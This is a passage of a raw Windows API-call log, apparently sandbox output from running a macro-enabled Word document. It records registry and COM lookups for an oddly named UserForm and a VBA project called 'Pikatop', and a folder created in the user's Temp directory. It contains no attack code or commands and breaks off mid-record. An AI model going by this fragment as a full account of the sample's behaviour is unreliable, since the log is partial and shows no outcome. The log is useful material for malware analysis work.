(in: lpString1=0xb5690f3a90, lpString2="JDSUAGDFYYUGED", iMaxLength=2044 | out: lpString1="JDSUAGDFYYUGED") returned="JDSUAGDFYYUGED" [0094.445] CLSIDFromString (in: lpsz="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}", pclsid=0xb5690f38f0 | out: pclsid=0xb5690f38f0*(Data1=0xc62a69f0, Data2=0x16dc, Data3=0x11ce, Data4=([0]=0x9e, [1]=0x98, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x57, [6]=0x4a, [7]=0x4f))) returned 0x0 [0094.445] SetCursor (hCursor=0x10007) returned 0x10007 [0094.445] CoCreateGuid (in: pguid=0xb5690f3730 | out: pguid=0xb5690f3730*(Data1=0x96e5643b, Data2=0xc886, Data3=0x4d73, Data4=([0]=0x9c, [1]=0xf, [2]=0xa2, [3]=0x55, [4]=0xc6, [5]=0x8f, [6]=0x7b, [7]=0x5b))) returned 0x0 [0094.445] CoCreateGuid (in: pguid=0xb5690f3790 | out: pguid=0xb5690f3790*(Data1=0xcec61753, Data2=0x81c7, Data3=0x45fe, Data4=([0]=0x8b, [1]=0x80, [2]=0x4d, [3]=0x89, [4]=0xdc, [5]=0xd9, [6]=0xc6, [7]=0x48))) returned 0x0 [0094.445] CoCreateGuid (in: pguid=0xb5690f3770 | out: pguid=0xb5690f3770*(Data1=0x4e9073d4, Data2=0xf2da, Data3=0x4b60, Data4=([0]=0x96, [1]=0xcf, [2]=0x5f, [3]=0xe8, [4]=0x15, [5]=0x99, [6]=0xb2, [7]=0x4d))) returned 0x0 [0094.445] CoCreateGuid (in: pguid=0xb5690f3760 | out: pguid=0xb5690f3760*(Data1=0x94d7dc9c, Data2=0xfa66, Data3=0x4bfe, Data4=([0]=0xbc, [1]=0xd4, [2]=0x36, [3]=0xba, [4]=0xd9, [5]=0x3c, [6]=0xfd, [7]=0x23))) returned 0x0 [0094.445] CoCreateGuid (in: pguid=0xb5690f37a0 | out: pguid=0xb5690f37a0*(Data1=0x17215ec0, Data2=0x2859, Data3=0x488c, Data4=([0]=0xa2, [1]=0x89, [2]=0x99, [3]=0x19, [4]=0x9f, [5]=0xbe, [6]=0x78, [7]=0x24))) returned 0x0 [0094.445] OleRegGetMiscStatus (in: clsid=0xb5690f38f0*(Data1=0xc62a69f0, Data2=0x16dc, Data3=0x11ce, Data4=([0]=0x9e, [1]=0x98, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x57, [6]=0x4a, [7]=0x4f)), dwAspect=0x1, pdwStatus=0xb5690f2e38 | out: pdwStatus=0xb5690f2e38) returned 0x0 [0094.448] lstrcpyA (in: lpString1=0xb5690f2d60, lpString2="CLSID\\" | out: lpString1="CLSID\\") returned="CLSID\\" [0094.448] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}", cchWideChar=-1, lpMultiByteStr=0xb5690f2d66, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}µ", lpUsedDefaultChar=0x0) returned 0 [0094.448] lstrcatA (in: lpString1="CLSID\\{C62A69F0-16DC-11CE-9E98-00AA00574A4F}", lpString2="\\DesignerFeatures" | out: lpString1="CLSID\\{C62A69F0-16DC-11CE-9E98-00AA00574A4F}\\DesignerFeatures") returned="CLSID\\{C62A69F0-16DC-11CE-9E98-00AA00574A4F}\\DesignerFeatures" [0094.448] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="CLSID\\{C62A69F0-16DC-11CE-9E98-00AA00574A4F}\\DesignerFeatures", phkResult=0xb5690f2d50 | out: phkResult=0xb5690f2d50*=0x0) returned 0x2 [0094.448] ProgIDFromCLSID (in: clsid=0xb5690f38f0*(Data1=0xc62a69f0, Data2=0x16dc, Data3=0x11ce, Data4=([0]=0x9e, [1]=0x98, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x57, [6]=0x4a, [7]=0x4f)), lplpszProgID=0xb5690f2e20 | out: lplpszProgID=0xb5690f2e20*="Forms.Form.1") returned 0x0 [0094.450] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x19) returned 0x2764ad3a5d0 [0094.450] lstrlenA (lpString="Forms.Form.1") returned 12 [0094.450] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764ad3a5d0, cb=0xd) returned 0x2764b178870 [0094.450] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad3a6f0) [0094.450] lstrcpyA (in: lpString1=0xb5690f2e40, lpString2="Form" | out: lpString1="Form") returned="Form" [0094.450] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b178870) [0094.450] malloc (_Size=0x210) returned 0x2764997c0a0 [0094.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}", cchWideChar=-1, lpMultiByteStr=0xb5690f3588, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}", lpUsedDefaultChar=0x0) returned 0 [0094.451] wsprintfA (in: param_1=0xb5690f3440, param_2="%s%s%s%s%s" | out: param_1="Clsid\\{C62A69F0-16DC-11CE-9E98-00AA00574A4F}\\InprocServer32") returned 59 [0094.451] RegOpenKeyExA (in: hKey=0xffffffff80000000, lpSubKey="Clsid\\{C62A69F0-16DC-11CE-9E98-00AA00574A4F}\\InprocServer32", ulOptions=0x0, samDesired=0x20019, phkResult=0xb5690f3418 | out: phkResult=0xb5690f3418*=0x12ce) returned 0x0 [0094.451] RegQueryValueExA (in: hKey=0x12ce, lpValueName="ThreadingModel", lpReserved=0x0, lpType=0x0, lpData=0xb5690f3420, lpcbData=0xb5690f3410*=0x14 | out: lpType=0x0, lpData=0xb5690f3420*=0x41, lpcbData=0xb5690f3410*=0xa) returned 0x0 [0094.451] lstrcmpiA (lpString1="Apartment", lpString2="Apartment") returned 0 [0094.451] lstrcmpiA (lpString1="Apartment", lpString2="Free") returned -1 [0094.451] lstrcmpiA (lpString1="Apartment", lpString2="Both") returned -1 [0094.451] RegCloseKey (hKey=0x12ce) returned 0x0 [0094.451] CoCreateGuid (in: pguid=0x2764997c214 | out: pguid=0x2764997c214*(Data1=0x7ee0fc06, Data2=0x424b, Data3=0x4ef1, Data4=([0]=0xb4, [1]=0x96, [2]=0x31, [3]=0x91, [4]=0xf3, [5]=0x33, [6]=0x61, [7]=0xa4))) returned 0x0 [0094.451] malloc (_Size=0x150) returned 0x2764997c2c0 [0094.451] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="Name") returned 0x40f2f0 [0094.451] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="Caption") returned 0x407810 [0094.451] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_") returned 0x401076 [0094.451] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_") returned 0x401076 [0094.451] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_") returned 0x401076 [0094.451] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="Left") returned 0x407be5 [0094.451] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="Top") returned 0x40da35 [0094.451] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="Width") returned 0x404e68 [0094.451] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="Height") returned 0x408b7c [0094.451] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="Enabled") returned 0x40aadb [0094.451] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_") returned 0x401076 [0094.452] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_") returned 0x401076 [0094.452] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_") returned 0x401076 [0094.452] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_") returned 0x401076 [0094.452] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_") returned 0x401076 [0094.452] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_") returned 0x401076 [0094.452] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_") returned 0x401076 [0094.452] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_") returned 0x401076 [0094.452] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_") returned 0x401076 [0094.452] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_") returned 0x401076 [0094.452] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_") returned 0x401076 [0094.452] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_") returned 0x401076 [0094.452] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_") returned 0x401076 [0094.452] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_") returned 0x401076 [0094.452] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_") returned 0x401076 [0094.452] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_") returned 0x401076 [0094.452] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_") returned 0x401076 [0094.452] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_") returned 0x401076 [0094.452] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_") returned 0x401076 [0094.452] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_") returned 0x401076 [0094.452] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_") returned 0x401076 [0094.452] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_") returned 0x401076 [0094.452] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_") returned 0x401076 [0094.452] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_") returned 0x401076 [0094.452] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_") returned 0x401076 [0094.452] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_") returned 0x401076 [0094.452] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_") returned 0x401076 [0094.452] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_") returned 0x401076 [0094.452] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_") returned 0x401076 [0094.452] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_") returned 0x401076 [0094.452] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_") returned 0x401076 [0094.452] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_") returned 0x401076 [0094.452] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_") returned 0x401076 [0094.452] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_") returned 0x401076 [0094.452] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_") returned 0x401076 [0094.452] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="OleObjectBlob") returned 0x4098c2 [0094.452] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="Visible") returned 0x40d3b6 [0094.452] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="Tag") returned 0x40d826 [0094.452] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_") returned 0x401076 [0094.452] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_") returned 0x401076 [0094.453] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_") returned 0x401076 [0094.453] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="HelpContextID") returned 0x402275 [0094.453] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_") returned 0x401076 [0094.453] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="ClientLeft") returned 0x404925 [0094.453] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="ClientTop") returned 0x409869 [0094.453] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="ClientWidth") returned 0x4028e4 [0094.453] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="ClientHeight") returned 0x407da9 [0094.453] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_") returned 0x401076 [0094.453] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_") returned 0x401076 [0094.453] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_") returned 0x401076 [0094.453] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_") returned 0x401076 [0094.453] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_") returned 0x401076 [0094.453] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_") returned 0x401076 [0094.453] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_") returned 0x401076 [0094.453] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_") returned 0x401076 [0094.453] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_") returned 0x401076 [0094.453] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="WhatsThisButton") returned 0x404418 [0094.453] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="WhatsThisHelp") returned 0x403fe5 [0094.453] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_") returned 0x401076 [0094.453] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="RightToLeft") returned 0x40e0c6 [0094.453] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="StartUpPosition") returned 0x40fb67 [0094.453] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_") returned 0x401076 [0094.453] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_") returned 0x401076 [0094.453] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_") returned 0x401076 [0094.453] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_") returned 0x401076 [0094.453] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="ShowModal") returned 0x409408 [0094.453] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="TypeInfoVer") returned 0x407334 [0094.453] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="Move") returned 0x40793e [0094.453] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_") returned 0x401076 [0094.453] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_") returned 0x401076 [0094.453] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="Show") returned 0x40f50f [0094.453] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="Hide") returned 0x407a39 [0094.453] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="PrintForm") returned 0x401f14 [0094.453] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="WhatsThisMode") returned 0x405081 [0094.453] malloc (_Size=0x18) returned 0x27649976ee0 [0094.454] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="Resize") returned 0x403440 [0094.454] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="QueryClose") returned 0x40f454 [0094.454] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="Activate") returned 0x407c97 [0094.454] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="Deactivate") returned 0x40ae6a [0094.454] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="Initialize") returned 0x404ed3 [0094.454] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="Terminate") returned 0x404c79 [0094.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}", cchWideChar=-1, lpMultiByteStr=0xb5690f3450, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}", lpUsedDefaultChar=0x0) returned 0 [0094.454] lstrlenA (lpString="JDSUAGDFYYUGED") returned 14 [0094.495] lstrcmpiA (lpString1="Begin", lpString2="Caption") returned -1 [0094.495] lstrcmpiA (lpString1="End", lpString2="Caption") returned 1 [0094.495] lstrcpynA (in: lpString1=0xb5690f4a90, lpString2="Caption", iMaxLength=2044 | out: lpString1="Caption") returned="Caption" [0094.496] lstrcmpiA (lpString1="Begin", lpString2="ClientHeight") returned -1 [0094.496] lstrcmpiA (lpString1="End", lpString2="ClientHeight") returned 1 [0094.496] lstrcpynA (in: lpString1=0xb5690f4a90, lpString2="ClientHeight", iMaxLength=2044 | out: lpString1="ClientHeight") returned="ClientHeight" [0094.496] lstrcmpiA (lpString1="Begin", lpString2="ClientLeft") returned -1 [0094.496] lstrcmpiA (lpString1="End", lpString2="ClientLeft") returned 1 [0094.496] lstrcpynA (in: lpString1=0xb5690f4a90, lpString2="ClientLeft", iMaxLength=2044 | out: lpString1="ClientLeft") returned="ClientLeft" [0094.496] lstrcmpiA (lpString1="Begin", lpString2="ClientTop") returned -1 [0094.496] lstrcmpiA (lpString1="End", lpString2="ClientTop") returned 1 [0094.496] lstrcpynA (in: lpString1=0xb5690f4a90, lpString2="ClientTop", iMaxLength=2044 | out: lpString1="ClientTop") returned="ClientTop" [0094.496] lstrcmpiA (lpString1="Begin", lpString2="ClientWidth") returned -1 [0094.496] lstrcmpiA (lpString1="End", lpString2="ClientWidth") returned 1 [0094.496] lstrcpynA (in: lpString1=0xb5690f4a90, lpString2="ClientWidth", iMaxLength=2044 | out: lpString1="ClientWidth") returned="ClientWidth" [0094.496] lstrcmpiA (lpString1="Begin", lpString2="StartUpPosition") returned -1 [0094.496] lstrcmpiA (lpString1="End", lpString2="StartUpPosition") returned -1 [0094.496] lstrcpynA (in: lpString1=0xb5690f4a90, lpString2="StartUpPosition", iMaxLength=2044 | out: lpString1="StartUpPosition") returned="StartUpPosition" [0094.496] lstrcmpiA (lpString1="Begin", lpString2="Tag") returned -1 [0094.496] lstrcmpiA (lpString1="End", lpString2="Tag") returned -1 [0094.496] lstrcpynA (in: lpString1=0xb5690f4a90, lpString2="Tag", iMaxLength=2044 | out: lpString1="Tag") returned="Tag" [0094.496] lstrcmpiA (lpString1="Begin", lpString2="TypeInfoVer") returned -1 [0094.496] lstrcmpiA (lpString1="End", lpString2="TypeInfoVer") returned -1 [0094.496] lstrcpynA (in: lpString1=0xb5690f4a90, lpString2="TypeInfoVer", iMaxLength=2044 | out: lpString1="TypeInfoVer") returned="TypeInfoVer" [0094.496] lstrcmpiA (lpString1="Begin", lpString2="End") returned -1 [0094.496] lstrcmpiA (lpString1="End", lpString2="End") returned 0 [0094.496] CLSIDFromString (in: lpsz="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}", pclsid=0xb5690f3910 | out: pclsid=0xb5690f3910*(Data1=0xc62a69f0, Data2=0x16dc, Data3=0x11ce, Data4=([0]=0x9e, [1]=0x98, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x57, [6]=0x4a, [7]=0x4f))) returned 0x0 [0094.497] lstrcmpiA (lpString1="End", lpString2="End") returned 0 [0094.497] free (_Block=0x2764997b0b0) [0094.497] lstrcmpiA (lpString1="JDSUAGDFYYUGED", lpString2="JDSUAGDFYYUGED") returned 0 [0094.497] lstrlenA (lpString="JDSUAGDFYYUGED") returned 14 [0094.498] free (_Block=0x27649979a00) [0094.498] lstrlenA (lpString="") returned 0 [0094.498] malloc (_Size=0x1) returned 0x2764997b310 [0094.498] malloc (_Size=0x1) returned 0x2764997b1b0 [0094.498] lstrcpyA (in: lpString1=0x2764997b310, lpString2="" | out: lpString1="") returned="" [0094.498] atoi (_Str="393222000") returned 393222000 [0094.498] lstrcpynA (in: lpString1=0x27649976b4c, lpString2="{34B4C8B8-FE82-46A9-A726-5BA261D0AA69}", iMaxLength=39 | out: lpString1="{34B4C8B8-FE82-46A9-A726-5BA261D0AA69}") returned="{34B4C8B8-FE82-46A9-A726-5BA261D0AA69}" [0094.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="{00000000-0000-0000-0000-000000000000}", cchWideChar=-1, lpMultiByteStr=0xb5690f53d0, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{00000000-0000-0000-0000-000000000000}", lpUsedDefaultChar=0x0) returned 0 [0094.498] lstrcmpA (lpString1="{00000000-0000-0000-0000-000000000000}", lpString2="{34B4C8B8-FE82-46A9-A726-5BA261D0AA69}") returned -1 [0094.498] lstrlenA (lpString="{34B4C8B8-FE82-46A9-A726-5BA261D0AA69}") returned 38 [0094.498] malloc (_Size=0x4) returned 0x2764997b1f0 [0094.498] free (_Block=0x2764997b1f0) [0094.498] lstrlenA (lpString="{34B4C8B8-FE82-46A9-A726-5BA261D0AA69}") returned 38 [0094.498] malloc (_Size=0x1) returned 0x2764997b1f0 [0094.498] free (_Block=0x2764997b1f0) [0094.498] lstrlenA (lpString="{34B4C8B8-FE82-46A9-A726-5BA261D0AA69}") returned 38 [0094.498] malloc (_Size=0x1) returned 0x2764997b2c0 [0094.498] free (_Block=0x2764997b2c0) [0094.498] free (_Block=0x27649978d60) [0094.498] free (_Block=0x27649978870) [0094.498] free (_Block=0x27649978630) [0094.498] free (_Block=0x276499787b0) [0094.498] free (_Block=0x27649978690) [0094.498] free (_Block=0x276499787e0) [0094.498] free (_Block=0x27649978840) [0094.499] free (_Block=0x276499788a0) [0094.499] free (_Block=0x27649978810) [0094.499] free (_Block=0x27649978c20) [0094.499] lstrcmpiA (lpString1="Host Extender Info", lpString2="Host Extender Info") returned 0 [0094.499] lstrlenA (lpString="&H00000001") returned 10 [0094.499] malloc (_Size=0xb) returned 0x27649976f80 [0094.499] lstrlenA (lpString="&H00000002") returned 10 [0094.499] _msize (_Block=0x27649976f80) returned 0xb [0094.499] realloc (_Block=0x27649976f80, _Size=0x16) returned 0x27649976fc0 [0094.499] lstrcatA (in: lpString1="&H00000001", lpString2=" " | out: lpString1="&H00000001 ") returned="&H00000001 " [0094.499] lstrcatA (in: lpString1="&H00000001 ", lpString2="&H00000002" | out: lpString1="&H00000001 &H00000002") returned="&H00000001 &H00000002" [0094.499] lstrcmpiA (lpString1="Host Extender Info", lpString2="Host Extender Info") returned 0 [0094.499] lstrcmpiA (lpString1="&H00000001", lpString2="&H00000001") returned 0 [0094.499] lstrlenA (lpString="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000") returned 53 [0094.499] malloc (_Size=0x36) returned 0x27649979a00 [0094.499] lstrlenA (lpString="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000") returned 53 [0094.499] malloc (_Size=0x68) returned 0x27649978c20 [0094.499] CLSIDFromString (in: lpsz="{3832D640-CF90-11CF-8E43-00A0C911005A}", pclsid=0x27649978c4c | out: pclsid=0x27649978c4c*(Data1=0x3832d640, Data2=0xcf90, Data3=0x11cf, Data4=([0]=0x8e, [1]=0x43, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x5a))) returned 0x0 [0094.500] free (_Block=0x27649979a00) [0094.500] lstrcmpiA (lpString1="Host Extender Info", lpString2="Host Extender Info") returned 0 [0094.500] lstrcmpiA (lpString1="&H00000001", lpString2="&H00000002") returned -1 [0094.500] lstrcmpiA (lpString1="&H00000002", lpString2="&H00000002") returned 0 [0094.500] lstrlenA (lpString="{000209F2-0000-0000-C000-000000000046};Word8.0;&H00000000") returned 57 [0094.500] malloc (_Size=0x3a) returned 0x27649979a00 [0094.500] lstrlenA (lpString="{000209F2-0000-0000-C000-000000000046};Word8.0;&H00000000") returned 57 [0094.500] malloc (_Size=0x68) returned 0x27649978c90 [0094.500] CLSIDFromString (in: lpsz="{000209F2-0000-0000-C000-000000000046}", pclsid=0x27649978cbc | out: pclsid=0x27649978cbc*(Data1=0x209f2, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0094.501] free (_Block=0x27649979a00) [0094.501] free (_Block=0x27649976fc0) [0094.501] SysStringByteLen (bstr="楐慫潴p") returned 0x7 [0094.501] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764ad02368, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0094.501] SysStringByteLen (bstr="楐慫潴p") returned 0x7 [0094.501] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764ad02368, cbMultiByte=8, lpWideCharStr=0x2764ae3aed8, cchWideChar=8 | out: lpWideCharStr="Pikatop") returned 8 [0094.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Pikatop", cchWideChar=-1, lpMultiByteStr=0xb5690f4b90, cbMultiByte=2043, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pikatop", lpUsedDefaultChar=0x0) returned 8 [0094.501] lstrlenA (lpString="Pikatop") returned 7 [0094.501] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764ad3a3c0 [0094.501] GetWindowThreadProcessId (in: hWnd=0x10344, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x1314 [0094.501] SendMessageA (hWnd=0x10344, Msg=0x84, wParam=0x0, lParam=0x10500cd) returned 0x1 [0094.501] SendMessageA (hWnd=0x10344, Msg=0x20, wParam=0x10344, lParam=0x2000001) returned 0x1 [0094.502] GetTempPathA (in: nBufferLength=0x104, lpBuffer=0xb5690f5460 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\") returned 0x23 [0094.502] _access (_FileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", _AccessMode=0) returned 0 [0094.503] strnlen (_Str="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", _MaxCount=0x7fffffff) returned 0x23 [0094.503] malloc (_Size=0x24) returned 0x27649978690 [0094.503] malloc (_Size=0x24) returned 0x27649978750 [0094.503] lstrcpynA (in: lpString1=0x27649978690, lpString2="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", iMaxLength=36 | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\") returned="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\" [0094.504] lstrlenA (lpString="Word8.0") returned 7 [0094.504] lstrlenA (lpString="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\") returned 35 [0094.504] _msize (_Block=0x27649978690) returned 0x24 [0094.504] realloc (_Block=0x27649978690, _Size=0x2b) returned 0x27649978da0 [0094.504] lstrlenA (lpString="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\") returned 35 [0094.504] lstrlenA (lpString="Word8.0") returned 7 [0094.504] _msize (_Block=0x27649978750) returned 0x24 [0094.504] realloc (_Block=0x27649978750, _Size=0x2b) returned 0x27649978de0 [0094.504] lstrlenA (lpString="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\") returned 35 [0094.504] lstrlenA (lpString="Word8.0") returned 7 [0094.504] lstrcatA (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", lpString2="Word8.0" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0") returned="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0" [0094.504] strcpy_s (in: _Dst=0x27649978de0, _DstSize=0x2b, _Src="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0" | out: _Dst="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0") returned 0x0 [0094.504] _access_s (_FileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0", _AccessMode=0) returned 0x2 [0094.504] strcpy_s (in: _Dst=0x27649978de0, _DstSize=0x2b, _Src="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0" | out: _Dst="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0") returned 0x0 [0094.504] _mkdir (_Path="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0") returned 0 [0094.505] strcpy_s (in: _Dst=0x27649978de0, _DstSize=0x2b, _Src="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0" | out: _Dst="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0") returned 0x0 [0094.505] strcpy_s (in: _Dst=0x27649978de0, _DstSize=0x2b, _Src="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0" | out: _Dst="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0") returned 0x0 [0094.505] strcpy_s (in: _Dst=0x27649978de0, _DstSize=0x2b, _Src="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0" | out: _Dst="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0") returned 0x0 [0094.505] _access_s (_FileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0", _AccessMode=0) returned 0x0 [0094.598] SetCursor (hCursor=0x10007) returned 0x10007 [0094.599] strnlen (_Str="C:\\Users\\FD1HVy\\Desktop", _MaxCount=0x7fffffff) returned 0x17 [0094.599] malloc (_Size=0x18) returned 0x27649976d80 [0094.599] malloc (_Size=0x18) returned 0x27649976e60 [0094.599] lstrcpynA (in: lpString1=0x27649976d80, lpString2="C:\\Users\\FD1HVy\\Desktop", iMaxLength=24 | out: lpString1="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0094.600] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1078) returned 0x2764b54a180 [0094.600] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1740) returned 0x2764b54b200 [0094.600] 